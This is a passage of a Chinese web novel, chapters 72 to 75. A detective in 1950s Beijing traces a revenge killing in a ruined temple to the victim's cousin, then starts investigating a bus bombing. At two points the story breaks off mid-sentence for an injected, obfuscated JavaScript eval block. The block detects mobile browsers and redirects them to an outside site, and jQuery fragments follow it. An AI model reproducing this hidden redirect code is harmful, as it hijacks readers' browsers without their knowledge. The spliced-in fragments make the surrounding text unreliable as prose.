“是，磨损痕迹很明显，或许从这钢钎上入手。”顾昭蕙小心的将死者腿上双手都看一下，“头部的钢钎是第一下。之后又隔了一会，或许他停下休息了一会，这手上和腿上是死后伤。” 齐云松点点头“这得多大仇啊。”从手段上看，凶手带有很深的仇恨心态动手的。“这一下很果断。” 两个人仔细检查一下，确定了一些事情，就下来了。“把人放下来吧。钢钎最好用什么包一下，卸的时候小心点，可能会有些线索。” 杨虎听了点点头，“就是有点麻烦。”钢钎凿进去容易，拔下来难。 一直到晚上八点多，人才弄下来，破庙里点着十盏油灯，将屋子照的通明。顾昭蕙将死者身上衣服撩开，能明显看到腋下和脖颈那里有绳子勒痕，凶手绝对不是一时兴起，是有计划的杀人。 72. 第 72 章 第七十二章 尸体运走后顾昭蕙和齐云松在现场又细致的检查了一下，但是没有更多的信息了，“这个凶手应该具有一定的反侦察能力，他在离开前将这边的地面进行了清扫。” 齐云松说着皱了眉头，“按照凶手作案手法来说，他是带有报复心理，经过策划，还有一些反侦察能力，这样的凶手应该不是普通的农民吧。” 顾昭蕙指了指钢钎“这是采石场的钢钎，普通人是拿不到的，另外只看凶手将钢钎直接凿进墙里，凶手可能力气很大，这也比较符合采石场工人特点。” 杨虎从外边走过来“我已经让人查村子附近有没有采石场，不过村子里人说这边没有，最近的采石场也要在几十公里外呢，而且村长也说没有人在那边工作。”之前尸体运走前，他已经将两个人的一些结论作为依据，让人下去排查了。 “那村子里最近有没有人员流动？最近回来的人？”齐云松问。 杨虎摇了摇头“最近一个月没有人员流动，我找人了解了一下，曹琦是村子里曹家人，村子里有四大姓，曹家就是其中之一，据说曹家人是几十年前迁过来的，过来的时候有四支，三十多口人。后来陆续有年轻人出去，当兵的上班的。现在四支有十几户还在村子里。曹琦因为在市里做屠夫也算是有出息的，尤其这两年，他将村子里一些东西卖到市里，村子里很多家都养鸡养鸭的，靠着他日子好过不少，所以他人缘不错。问了好多人，都不知道他得罪了什么人。” 顾昭蕙想了想“昨天他那么晚没回家，去哪里吃饭了，喝的应该不少。知道跟谁喝酒了吗？” “问了，是他堂兄家，跟五个堂兄弟一起喝的，当时大家都喝多了，本来说直接在他家睡了，不过十二点的时候他出去上厕所就没回来，他们以为人回家了。没当回事。再听到消息，人已经死了。”这是之前调查过的。 “那昨天喝酒的那几个人呢？他们都确定有不在场证明？” “确定了，他们当时都在一起睡觉呢。喝的有点多。都睡着了。” 齐云松看了看顾昭蕙“怀疑他几个堂兄？” 顾昭蕙摇了摇头“说不好，如果凶手是有预谋的，他怎么会知道曹琦会那个时间离开，在自己堂兄家喝酒，说不准就留宿了，凶手难道一直在外边等着？” “嗯”齐云松摸了摸自己下巴，“几个人的不在场证明，如果喝多了睡着的情况，或许也不能作数。” “杨所，尸体拉回去，能检验一下受害者体内是否含有安眠药一类的药物吗？”顾昭蕙问道。 杨虎苦笑着说“我们所里是不能检测的，不过我已经让我们所的法医今天晚上就提取样本，到时候送到你们市局去处理。” 顾昭蕙皱了皱眉头，“那行吧，不过时间长了可能药物残留可能没那么好查出来。” “那这样我这就派人回去，让他们连夜送过去，就是不知道市局那边能不能做？”杨虎说道。 顾昭蕙想了想看向齐云松，“给段洪打个电话，让他连夜给做一下。” 齐云松点点头“行，我这就去。” 这边村委已经接了电话，也是借光，听说这附近有个疗养院，那边接电话的时候给附近几个村子都接了。也省了许多事情。 他回来的时候顾昭蕙正检查曹琦堂兄家里，昨天夜里几个人吃饭，早上得到了曹琦死了的消息，他这四个兄弟才被人从床上叫起来，所以屋子里也没怎么收拾，顾昭蕙先是进屋看了看，饭菜还在堂屋放着，菜几乎吃完了。酒是二锅头，有三个瓶子已经空了，还有个半瓶，五十二度，这几个人还挺能喝的。 “这家里没有女人吗？”顾昭蕙问道。 “没有，这家是曹家老二的大小子家，叫曹望，早些年有个媳妇后来病死了，他一直在外边当兵，五二年回来的，后来也没再娶。今年都快四十了。他爹原来跟他一起住，去年没的，屋子里就他一个人。所以每次几个兄弟聚会都在这。”说话的是村长，五十多岁的小老头，对村子里情况十分了解。 顾昭蕙点点头，往外边看了看，“是那个穿绿军装的那个吗？”她查屋子里的情况，屋里的人都去院外待着了，这会在院门口站着几个大老爷们，一起看就是有亲戚关系，其中一个穿着绿军装的站的虽然不说笔直，但是也很立整。应该是当过兵，但是训练并没有那么严厉。带着点军队的味道。 村长点点头“是他，就是曹望，他们几个兄弟早些年叫曹家五虎，年级差不多，本身就是兄弟玩的又好，所以跟其他兄弟比起来更亲近。每次曹琦回来都会一起聚一下。” “五虎，倒是挺形象的，他们几个长得都挺魁梧的。”顾昭蕙说着走出去。村子这边通电了，杨虎找人直接接了一条线弄了电灯挂在院子里虽然不是很亮但也凑合。就看外边里三层外三层的看热闹的人，顾昭蕙觉着如果不看一下或许明天就没什么线索了。 顾昭蕙在院子里看了看，这院子不是那种四合院式的，虽然京城这边很多房子都是那么建的，但是这边只有三间瓦房，院子西边有一排仓房，东边是菜地，看着已经种菜了。 看了看院外那些人，顾昭蕙叹了口气，觉着门口就是有什么线索也不见了。 不过她将目光放到菜园那边，拿出手电打开一点点的往那边走去。看见她走动外边的几个皮猴子一下子上了墙，顾昭蕙只能无奈的跟杨虎说“杨所，让他们别上墙，万一有什么线索，都完了。” 杨所听了赶紧带人过去，大声的呵斥声从外边传来。 虽然远处树上还有人蹲着，至少不会离那么近。 走了几步顾昭蕙突然眼前一亮，手电照到一个地方，只见那里有一条条尿渍。旁边有一些凌乱的痕迹。 “发现什么了？”齐云松突然出声，吓了顾昭蕙一跳。 “我想着喝醉的人如果想上厕所，不一定走远，想着碰碰运气，结果，你看。”顾昭蕙指了指地上的痕迹。顾昭蕙抬头往外看了一下，那几个兄弟已经被杨虎和几个同志一起赶走了，至少这会没有在门口了。 “凶手就在他几个堂兄之间？”齐云松问。 顾昭蕙用手电晃了一下地面“你看那里。”她手电晃过的地方是放水缸的地方，就在院子边上，离他们撒尿的地方不远。 手电又照了前面一点地方，似乎重物被拖拽的痕迹，估计被清理过，不是很明显，但这边毕竟是你土地，地上还是有些痕迹跟旁边不一样。 齐云松模拟一下怎样才能留下这样的痕迹，突然眼睛一亮看向顾昭蕙“凶手先将人迷倒，然后放在这边，之后回到屋子里装睡，到时候将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211951|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人带到破庙杀害。” 顾昭蕙“应该是这样，喝了那么多酒，就是少一个人也不会有人发现。” “凶手就在他们四个人之中。”如果没有这些清理痕迹，顾昭蕙可能还不会将怀疑重点放在他们身上。 这是预谋杀人，凶手带有仇恨心理，那么杀人就不是随机的，知道受害者情况的，只有与他一起喝酒的几个人，现在这些痕迹，已经将他们的嫌疑升级。 “带回去审问一下？”齐云松说道。 顾昭蕙摇了摇头“先等等，我们需要找一下杀人动机。他们族人很多，如果贸然抓人或许会有些问题。” 齐云松点点头，“虽然不能抓捕但是可以带他们去大队部，做下笔录。”这也算是提前控制了。 “行。”其实顾昭蕙对破案这边的大多数经验都来源于，顾湘的记忆，都是几十年后的模式，所以她总是要找到确凿证据才可以抓人。但是这年代不一样，只要有嫌疑就可以抓人了。 “老村长，关于曹望妻子去世的事情，您了解具体情况吗？”将人带回大队部，顾昭蕙跟老村长回了家。 “嗯，曹望媳妇，她有什么事吗？”老村长吧嗒两下烟斗。 “您说曹望媳妇病死的？是什么病？”顾昭蕙问。 老村长吧嗒吧嗒嘴吸了好几口烟，过一会把烟袋锅子拿下来，叹口气“哎，说起来，曹望媳妇也不是病死的，她是上山采野菜，不小心掉到陷阱里，等找到的时候都过了三天了。那时候曹望在外边当兵，他当兵之前跟他家里说了他媳妇身体弱，不让媳妇上山，他在部队有些津贴都邮回家里了。家里怕他知道了不好，就说他媳妇生病死了。我也是说习惯了。你一问我就随口说了。” 老村长再次吧嗒一口烟“其实曹望回来后已经听别人说了，因为这事他跟他家里几个兄弟关系都不好。早早就分家了。当年他妈算是当了恶人，对媳妇有点苛刻，所以后来他就把他爹单独接出来养老，他妈扔给他弟弟。这几年跟他兄弟关系都不怎么好。” 老村长说道这里看向顾昭蕙和齐云松“不过公安同志，这事情跟这个案子没什么关系吧？他媳妇都死了十年了，这事跟曹琦也没什么关系啊。” 顾昭蕙笑了笑，“我就是问问。” 从老村长家出来，顾昭蕙和齐云松往大队部走“你是怀疑曹望？” “曹望当过兵有做事的能力，还有凶手清理脚印的习惯，不是普通人能想到的。能不能查到曹望在那里当兵，是什么兵种？”顾昭蕙问道。 “嗯，武装部那边应该有底根。我打电话查一查。” 曹望的背景想要查到，还有一段时间，顾昭蕙想了解更多他妻子的情况，直觉告诉她这里边有问题。 一个男人在女人死去，这么多年还不另找，他对这个女人肯定有不一般的感情，这年代这种人太少，尤其农村这样的环境，他条件不错，娶媳妇很容易。那么这个女人的死会不会另有隐情，或许跟曹琦有没有关系？ 顾昭蕙突然对这年代的痕迹检测有些绝望，那些钢钎上肯定有凶手的指纹，可是钢钎上提取指纹，这年代没这技术啊。不然就直接确定嫌疑人了。现在他们手上没有什么证据，只能先找到杀人动机，然后看看能不能倒推一下，找到证据。 太难了。 73. 第 73 章 第七十三章 顾昭蕙和齐云松两个人晚上就在村子里住的，第二天一早，顾昭蕙和齐云松继续去了案发现场，一些调查的事情已经交代下去就等着结果了。 顾昭蕙希望能得到一些线索或者证据，听了她的推断，早上的时候杨虎让人将那四个人，趁着天还没大亮送到派出所了。这年代只要有怀疑就可以抓人了，甚至有些地方审问强度还很大，带着一些旧时的习惯。不过顾昭蕙在他离开前说过，先不用审讯，分开关着就行了。 破庙里，顾昭蕙仔细打量一下，现在是上午阳光正足，庙里的情况十分清楚地就出现在他们面前，“这个庙不知道是什么时候毁掉的。”顾昭蕙看到那个基座，明显有敲打痕迹，而且佛像已经不见了，在这里也看不到。 “听说是座观音庙，观音像是木雕的，后来不知道被谁给偷了，一夜间就不见了。 最早这个庙是个家庙，好像是某个王爷家的庄子，不过时间推移庄子都烧没了，就剩下这个庙了。就村长的意思，好像那个观音是名家雕刻的，用的不是楠木就是红木。多少年了还栩栩如生，可惜了，丢了二十多年了。”齐云松跟村长打听了不少事。 “这样啊。”顾昭蕙抬头仔细看了看庙宇的屋顶“这里虽然没有菩萨但是平时应该有不少人过来拜佛。”屋顶上还有烟气，应该是长年累月积累的。 “是的，说起来当年佛像被偷也是件奇事，当时还有和尚守着，一夜间就没了，留下底座，有人就传菩萨飞升了，所以后来还有人来拜。” 顾昭蕙站在底座前看着后面墙上留下的血迹痕迹，鲜血将墙面染成了黑红色，从这个角度看起来十分狰狞。 “对了绳子那个绑人的绳子，没有找出来。” “曹望家里已经检查了没有发现。”齐云松说道。 顾昭蕙看着房顶的梁柱，“得上去看看，曹琦体重有一百七十斤，个子也不矮，想要将他吊上去不容易。而且他还是将人从双臂下固定吊装，就要借力。” 齐云松拿了梯子，爬了上去，然后看痕迹，“他先将绳索固定在这边，然后将人绑在绳子上，再扔过去，他不用上来，你看这两根柱子边上有捆绑痕迹。只要拉动就行了。” 顾昭蕙看了看柱子，“咦——这有半枚指纹。”这原本的柱子上是用红漆刷的，但是时间长了红漆掉了，不过这边红漆还有一小块，这会光线充足，在红漆边缘有半块指纹。是左手大拇指的半枚指纹。看到这里顾昭蕙一下子兴奋起来，她先是将这枚指纹的照片照下来，然后从自己包里拿出指纹提取的铅粉胶带等物品，小心的提取。 之后将东西小心放好，顾昭蕙又仔细看了看指纹“这指纹上有一点血迹，很细小。” 齐云松也走过去细细的打量“是麻绳磨的，太用力了，麻绳将手磨出血了，找到麻绳然后对比曹望血型，就可以定了。” “之前检查他的手并没有划破的地方。”顾昭蕙皱着眉头说。其实昨天他们带到大队部后，杨虎他们观察了一下几个人的手，手上都没有明显的伤痕。 齐云松笑了笑，“他一个常年干活的人手上肯定有老茧，就算有轻微磨损也看不出来，又不像是你手那么细皮嫩肉的，一点伤口就那么明显。” 顾昭蕙瞥了他一眼，就转移目光看向墙壁。 “你说他为什么使用这种手段？”顾昭蕙问。 齐云松刚想说下自己的猜测，那边杨虎突然风风火火的跑进来，“查到了。” 两个人回头看去。 杨虎喘了好几下，“我们在村子里探查，重点询问曹望媳妇死因，曹家人开始还不说，后来我跟他们说如果隐瞒的话，那几个兄弟就都不能回来了，最后曹三根的老娘就说了。”曹三根是曹家老三的独苗，也是昨天晚上被抓的四人之一。 “曹三根的娘说，当年她不清楚曹望媳妇怎么死的，当时收殓的时候她去了，曹望的娘就让她和曹琦娘一起，别人都没让进去，她当时看到尸体的时候发现，曹望媳妇身上有几个血窟窿，是掉进陷阱里，被里边的尖刺扎的，不过让她在意的是，当时她衣服扣子扣错了，身上还有些痕迹。有些青紫她看着不像是摔的，反而有点像是被糟蹋了。” 杨虎说到这，拿出水壶喝了一口“曹三根的娘还说，曹望媳妇下葬挺快的，曹望娘还不让大家告诉曹望真相。就说人是病死的。不过曹三根她娘，从曹望弟妹那里听说了，那天曹望媳妇不是去挖野菜，她是被曹望娘打发到庙里跪佛去了，说是让念一宿佛才许回去。” 顾昭蕙皱了皱眉头，这曹望娘可真是个恶婆婆。 “这曹望娘对大儿媳妇很不喜欢，听说这样的事不是一回两回了。”杨虎叹了口气“另外几组去询问的同志回来，都说过曹望娘对儿媳妇虐待的事，不过也说她遭报应了，因为她对儿媳妇做的事，曹望回来跟他娘断绝往来，她跟着小儿子过，结果小儿媳妇嫌她累赘，因为她上山采野菜摔断了腿，儿媳妇不爱伺候，非打即骂，没到三个月人就没了。” 顾昭蕙想了想看向杨虎“腿摔折了？” “嗯，我问了，应该跟曹望没什么关系，她在小儿子家吃不饱，去山上时人一恍惚，就摔沟里了，当时还有几个妇女在附近，没有发现什么问题。” “这样的话，或许曹望媳妇的死就是他报复的原因。”齐云松说道，“再搜查一下绳子，就可以审问了。” 绳子不是那么好找，那东西，他随便扔那里都容易，或是塞柴火垛里范围太广。 不过事情还是有转机的，武装部回信了，之前齐云松问过曹望以前是在什么地方服役，这边已经有结果了。 原来曹望早年是南边军队的，后来北边解放，他们整个军都被收编了。这人有些能为，早些年是搞侦察的。不过后来被收编后，调到了工程兵，曾经在北边搞过开山修路的工作，那边工作结束他就退伍了。 “这就对上了。”与他行为模式完全对的上。就是不知道他弄那些钢钎是为了什么。是不是那个时候就想报复了。 这些事情连在一起，就可以审讯了，虽然还缺少关键证据，但是这年代也不讲那个，先审讯了再说。 曹望被带到审讯室，看起来很平和，人被拷在椅子上，也不觉着不自在。或许在他杀了人的那一刻他的心就平静下来了。 案子审讯顾昭蕙没有掺和，她和齐云松从破庙到曹望家里这一道上走了七八遍，最后在曹望家猪圈棚顶上将绳子找到了，之前的搜查同志之所以没有发现，是因为这段麻绳被曹望分成几段缠在猪圈顶上，看起来就是捆绑屋顶木头的普通麻绳。 还是顾昭蕙发现其中一段绳子断口是新切的，才确定这段麻绳就是其中一个凶器，另外她还在猪圈猪槽里发现了凶器铁锤，锤把那里也有轻微血迹。这人因为动手利落，喷溅血迹并不多。 将所有绳子都卸下来，拼接后，能明显看到中间一段被血迹覆 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顾昭蕙看了审讯室里那个面无表情坐在那里的人，她心里叹了口气。 虽然他没有说缘由，也能猜的出来，曹望的妻子和他们几个其实是青梅竹马，都是小时候一起玩的，一个村子里的人，曹望和她十几岁就定情，不过因为曹望媳妇父母都去世了，在村子里就是孤女一个，曹望妈并不愿意。 曹望为了娶媳妇就说将来结婚后养家十年，工作后的工资交给家里。曹母这次愿意。 不过那几年活不好找，曹望就参了军，那时候拿南边的军饷，加上平常弄点外快，每月寄回家里的钱也够一家用了。 曹望跟媳妇感情好，他娘对此十分看不惯，后来曹望去打仗，她就在家经常虐待大儿媳妇，这才有了后面的事情。 因为曹望在外地并不清楚媳妇死因，知道媳妇死亡都是一年后的事情了，当时还以为人是病死的，直到又过了两年，才从曹三根那里听说了媳妇死因，曹望好不容易从部队那边请了假回来，没进村子，而是挖了媳妇的坟，然后就看到媳妇尸骨，其中头部从太阳穴进入从另一边头骨穿出来的洞十分明显。另外就是肩胛骨那里也有一个窟窿。 当时曹望悲痛欲绝，心中恨意起，不过他记得曹三根听他娘说曹望媳妇死的时候有些不清白。因为这个曹望就想找到这个人来报仇。 他被调去当工程兵，开山采石的时候就用的钢钎，当时他就有种冲动，用这钢钎穿透仇人的脑袋。所以退伍前他弄了一些。带回了家。 离家太久，事情也过去那么多年了，他回家后，暗中查探，都没有结果，直到今年过年的时候，跟曹琦他们喝酒，说起了娶媳妇的事，当时大家说有人给他说媒的事，也说起了女人，大家在桌子上口花花，曹琦喝醉了，说了一句嫂子什么，曹望一激灵，他当时就觉着奇怪，虽然没听清但是那话绝对不是好话。 后来有一次他单独请曹琦喝酒，把人灌醉，然后从他嘴里套话。最后他拿了媳妇的照片给曹琦看，曹琦才说了几句话，其中一句话是‘你说你跑什么。这事别人又不会知道。’ 曹望当时就知道到了，当年的事，就是曹琦做的，然后他突然想到多年前曹琦似乎对自己媳妇就有好感，只是他媳妇最后选了他。 得知真相的曹望，开始了复仇计划，他想让他跟他媳妇一样尝尝那种被刺中大脑的感觉。 74. 第 74 章 第七十四章 “曹望为什么在破庙里杀人，怎么选择那个地点？”转天中午吃饭的死后顾昭蕙问齐云松。 齐云松拔了一口菜汤“曹望母亲当初不喜欢大儿媳妇，曹望不在家的时候就经常虐待儿媳妇，有时候家里吃好吃的，她就找借口让儿媳妇去破庙拜佛，她要不去，婆婆就带着小儿媳妇还有闺女对她拳打脚踢，时间长了那媳妇就认命了。曹望不清楚这个情况。他回家时家里人都表现的很好，他媳妇怕婆婆在曹望走后虐待她，也不敢说什么。所以一直曹望都不知道这事。曹望后来清楚了，也晚了，他在破庙杀人，也是想让人害怕，让那里成为荒地，他说菩萨自己都保护不了自己，没有必要存在了。” 顾昭蕙撇了撇嘴，“这样的人。” “杨哥他们审讯也费了心思，虽然还有所隐瞒，他有些事情没有交代清楚，但是行凶过程说了。他给曹琦用了迷药，本来想把他弄醒然后再杀，谁想到曹琦用了迷药加上喝了不少酒，怎么弄也没弄醒，最后就直接动手了。”杨虎上午来电话，将案件经过给他说了。 “曹望可惜了，听说他为了给媳妇报仇，连上边安排的工作都没去。估计对未来没有指望吧。” 之后半个月风平浪静，市局没有接什么大案子，顾昭蕙没闲着写了一些东西的，都是最基本的刑侦记录。 四月颐和园的兰花开了，顾昭蕙陪着爷爷奶奶去看了一次，真的很漂亮，这时候颐和园还很原汁原味，虽然有些地方比较老旧但是看起来更加有历史厚重感。 嘉蕙与韩卫东的交往很顺利，韩卫东正式倒家里摆放，嘉蕙也去他家里见了父母，也不知道韩卫东怎么跟父母说的，他们对嘉慧还不错。 不过他们的婚事可能要等一等，韩卫东已经跟家里说好了，等结婚就分开生活，他结婚也不需要家里给什么钱，住处也自己找，这样虽然两个人生活可能困难一点，但是结婚后能少了些麻烦。 韩卫东工作后有些积蓄，不过可能从家里分出来用了一些钱，积蓄也不多了。 他和佳蕙不是一个单位的将来就算结婚也不容易分房子，所以他就想买一处宅子，这时候房屋还是能买卖的，再过一两年恐怕就不能了。 他相中丁香胡同的一处宅子，宅子是一个打杂院里的一个西跨院，院子狭长，进深也就四米，不过有三间正房，带一间西厢房，厢房不大做厨房正好，正房也够他们使用了。难得的是单独的小院。不过要价八百，他手头钱不够，他也没犹豫太久，从齐云松那里借了三百元钱，买了下来，这丁香胡同离顾家不远，走路也就十分钟。对这一点嘉慧也挺高兴，还想着拿出自己的钱把欠齐云松的还上，韩卫东没同意，说是过几个月就能还上。 最近一段时间打击投机倒把很厉害，早市已经不存在了，除了一些买早餐的，也看不到多少摆摊的，但是现在也出现了鸽子市，都是偷偷的卖，对于这个治安科那边也不狠管，除非下来命令，不会天天查的。 家里不缺吃的，手上也不缺票，每次破案之后上边多少给些奖金票据，完全够用了。 京城的四月是很漂亮的时不时看到漂亮的花树。头天晚上顾昭蕙很晚才睡，她写了一些犯罪现场勘查的报告，已经成稿，准备交上去，看看能不能推广。 说实话她有点受够了，前些天她接到了一个比较大的盗窃案，丢失了一万三千块的工资，当时是厂子里保卫科自己查，结果查不到才报到派出所，因为金额重大，当地派出所也办不了，就报了上来。 本来室内盗窃案，这年代还是很好破的，因为大多数盗贼其实没有清理犯罪现场的意识，往往现场的指纹脚印一大堆，以顾昭蕙勘查现场的能力，破案很容易。 但是当顾昭蕙带着组员进入现场后发现，整个犯罪现场一片狼藉，各种人的脚印，地上还有很多烟头，到处都是指纹。除了柜子打开，里边没有动以外，几乎看不出原来的样子，而且一开始保卫科进入的时候也没有照相。他们简直就是一拥而上，进入屋子里转了几圈。 但是盗窃案，就得仔细检查地面脚印，和指纹。她不得不一点点的将地面脚印进行分辨，最终找到线索，抓到了盗贼。 不过那次也让她对脚印分辨有了进步，脑海中关于脚印分辨的能力又进化了。现在看到脚印差不多就能确定人的身高体重甚至步态身体状况。算是因祸得福吧，不过因为这个顾昭蕙就将保护现场这件事情写成报告，让上面重视起来，然后向下教育，希望每一个进入现场的人员都知道一点保护现场的重要性。 将报告交上去，齐云松过来递给她一沓稿纸。 “什么？”顾昭蕙问。 “关于北河市王傲犯罪心理分析。”齐云松说道，最近一段时间他就写这个。 顾昭蕙愣了一下，接过来，开始看了起来，她心里有些惊讶，齐云松写的虽然有些地方语言不够书面化，但是他关于王傲的心理分析很正确。 他将王傲从幼年时期家庭巨变，造成的心理问题对他成年后心理影响。到杀人时心理状态，都写的很具体，分析的很到位。 看完之后顾昭蕙好半天没有说话，过了一会“虽然只有王傲一个人的心理分析，但是如果将更多凶手心理分析出来，或许你可以出一本犯罪心理学。” 齐云松摇了摇头“这里边很多都是你的观点，如果没有你的那些观念我也写不出这些。” “我在档案室看了几个案子都是连环杀人案，可惜那些案子都是四九年前发生，案子都不了了之了，或许你可以看一下。”顾昭蕙说着将档案袋的编号写下来，“这几个案子都是悬案，你没事的时候看看。试着分析一下。” 这几个案子她已经分析过了。甚至将凶手的侧写做了出来，但是案子都发生在四九年前，凶手就没有再作案，不知道凶手发生了什么样的事情，是死了还是离开京城了。 齐云松将纸条接过来，点点头“我最近正想看之前那个周凌风案，我想从凶手角度分析一下他的心理状态。我记得那个案子结束后，你曾经写过周凌风的心理分析？” 顾昭蕙点点头，“写过。”她笑着抬头，“这样你也写一个，到时候咱们看看，观点是否一样。” 齐云松兴奋起来，“好啊。我最近真的有些心得，对以前的一些案子，有了新的想法。” 下午没什么事情，顾昭蕙给组员开了个会，主要是对组员进行一下简单的培训，关于犯罪现场勘查的事情，听说这个事情，段洪和卢莫都跑过来听讲。这年代人可能因为环境关系学习机会少，但是他们从来不缺少学习精神。 一直讲到三点半，顾昭蕙本想让大家休息一会然后再讲，突然电话响了。办公室里的电话一般不响，响了就会有事。 离电话最近的齐云松接了电话，听了两句脸色都变了，然后说道“是，我们马上出发。” 挂了电话，齐云松看向顾昭蕙“528路长途汽车发生爆炸。死伤惨重。” “什么位置？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234379|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾昭蕙脸上也严肃起来了，拿了包就往外走。 “这是去往延庆的客车，刚出城。”齐云松也取了自己的东西，跟着出去。一会功夫办公室众人全都一起出门。段洪卢莫飞奔起来去拿勘察箱。 这是大事情，顾昭蕙带着人直接开车，去往事发地。 一行人到的时候客车这边已经被围上了，许多看热闹的人，下了车就看到大队长范伟强。他是最早接到消息，直接带队过来，不过没想到这边情况这么惨烈，他看了车里的情况就给市局打电话将顾昭蕙叫过来了。 “里边情况有点惨，我想还是让你先看看。”范伟强对顾昭蕙的刑侦能力是佩服的，所以遇到自己都犯愁的案子他第一时间就想到顾昭蕙。 顾昭蕙点点头，往客车那里走，不过她看了看周围的民众，回头对李想说了一句“给人群照相。” “是。”李想说完，就从包里拿出相机。 “嗯，你是怀疑？凶手回到犯罪现场。”范伟强问。 顾昭蕙点点头“不清楚，不过照几张相也没什么。” 客车从外面看，中间地段被爆炸冲击严重，所有的玻璃都破碎了，前后剩下的玻璃上都是血水，顾昭蕙刚走到车门口，就闻到一股浓郁的血腥味，然后就是一股恶臭夹杂着血腥气，她从门口往里看，就看门口台阶上有一节类似肠子的东西。 她停顿一下，回过头“卢莫和段洪先跟我上去，其他人”她看了一眼齐云松“齐云松也一起，剩下的人先等等。上去后注意控制自己，不要造成污染。”这三人应该没有问题，就怕其它组员控制不住。 顾昭蕙踩着门口的空隙往里边上，只一眼，她自己都倒吸了口气，整个车厢里面到处都是血迹残肢，甚至一团团看不出是什么的人体组织。 她停下来“准备木板吧，要搭个桥。”里边条件不好，一定要小心不要破坏里边可能存在的物证。 很快就弄来一些木板，顾昭蕙和几个人配合着将木板铺好小心的避让，进入到车里，那些令人作呕的气味几乎将她包围。然后就是入目乱七八糟的。 用了一段时间她差不多找到爆炸中心点，她仔细检查了一下，“人体炸弹。” “什么？”齐云松没听清。这里的环境和气味让他似乎又回到了战争时代，多少受了点影响。 “这个位置，从痕迹上看，爆照物在一米以上的位置爆炸，看位置当时应该是绑在某人身上。” 齐云松点点头，“那是自爆？” 顾昭蕙摇了摇头“不清楚，不确定，仔细检查一下，看看能不能找到定时装置。”想到这里她突然看向齐云松“现在炸弹能做成带遥控器的吗？” 齐云松点点头“有，不过会这种技术的人不多。不过无线遥控的话，距离应该有限制，可以找专家问问。怎么你怀疑有人遥控爆炸？” “有可能，不过也有可能是自杀。”顾昭蕙皱着眉头仔细检查周围看看有没有什么证据。 “假设帮炸弹的人是自杀，他这样将自己炸的跟一团泥似的，咱们很难找出他的身份。那他的诉求是什么？只是单纯自杀？让一车人陪葬？”齐云松发现带入凶手有些地方说不通。 顾昭蕙点头，所以她才怀疑是否有幕后凶手。 “顾组长，你看这个。”卢莫突然举着一个东西让顾昭蕙看。 顾昭蕙带着手套小心的接过那个东西，发现竟然是一个表盘。 齐云松也看到了脸色一变“定时炸弹？” 75. 第 75 章 第七十五章 顾昭蕙从车上下来，拉下口罩，吸了两口新鲜空气，不过那种味道依然往鼻子里冲，抬起胳膊闻了闻，已经腌入味了。 “怎么样？”范伟强走过来问道。 “初步判断是带有定时器的□□，而且这种□□威力很大。应该是遗留品，不排除幕后人员继续作案的可能。”顾昭蕙皱着眉头报告。 “那接下来怎么进行？”范伟强脑袋也大了。 “将里边清理出来，天黑了，车里不方便，要一点点的筛选，找到有用的信息，找个地方将里边东西清理出来，寻找可用线索。”说实话这个检查方向一点也不好，中心地带发现三人头骨，现在看至少有三人被炸没了。 范伟强看了看四周，“也别找地方了，就在这吧，我让人把旁边的田地清理一下，然后铺上，车子周围也有不少东西。” 顾昭蕙看了看点点头，“行，不过得弄电灯，天黑了，看不清。” “行，你先休息一会。我让人去弄。” 顾昭蕙蹲在路边仰着脑袋。齐云松叼着烟走过去，从包里拿出水壶“喝点水。” 顾昭蕙接过来，喝了一口吐了，然后再喝，“没有办法判断死者身份，客车那边也没有什么有用的信息。这个案子有点难办。”没有DNA鉴定，想要查案太难。 “看看能不能找到有用的线索吧。”齐云松也蹲下来，不过他往哪里一蹲跟蜘蛛腿似的。看着别扭。 顾昭蕙瞥了一眼，“换裤子了？改天闲了给你接一块。” 齐云松笑了笑，“之前那条裤子划了个大口子，穿不了。” “那就一起拿来补上。”顾昭蕙没当回事，往客车那边看去，范伟强找了几个老兵，帮着清理客车，新兵蛋子不行，那边壕沟里已经有好几个吐的稀里哗啦的。 效率还是很高的，没一会旁边地上铺了大块的防雨布，周围都围起来，用了上过战场的老兵，清理工作做的也快了不少，顾昭蕙休息一会就接着新拉过来的电灯开始查找线索。 爆炸的时候离□□最近的至少三人，他们三人承受了最多的爆炸冲击，□□的□□定时器一类的崩成碎片后，很大一部分裹挟着尸块四溅开来，所以要找到碎片，就需要一点点的清理尸块。 这个工作不好做，市局有调来几个法医，顾昭蕙让人将防雨布分了区域，放不同地方起出来的残骸。 电灯挂了十来个，不过光线还是有点暗，他们又打了手电一点点的找。 也幸亏是在汽车里爆炸，爆炸范围一定，比起在屋子里或是公共空间强了许多。 三点多钟的时候，他们找到了定时器的其它部分，“是一块劳力士，三几年生产的，现在国内基本买不到，应该是四九年前购买的。”齐云松判断道。 “顾组长有发现。”卢莫突然说道。 顾昭蕙抬头看去，只见卢莫用镊子夹着一个扭曲的小本子。 她走过去一看，是一张工作证，“红星轧钢厂，李照什么。”顾昭蕙能看出来的就是这么多，因为上面纸张都被血迹给泡烂了。不过这些就够了。 “交给大队长，派人去查。” 范伟强在这边坐镇，但实际上他也很忙的，命令不断地下，查汽车公司，幸存者口供，尽可能寻找车上人员记录。 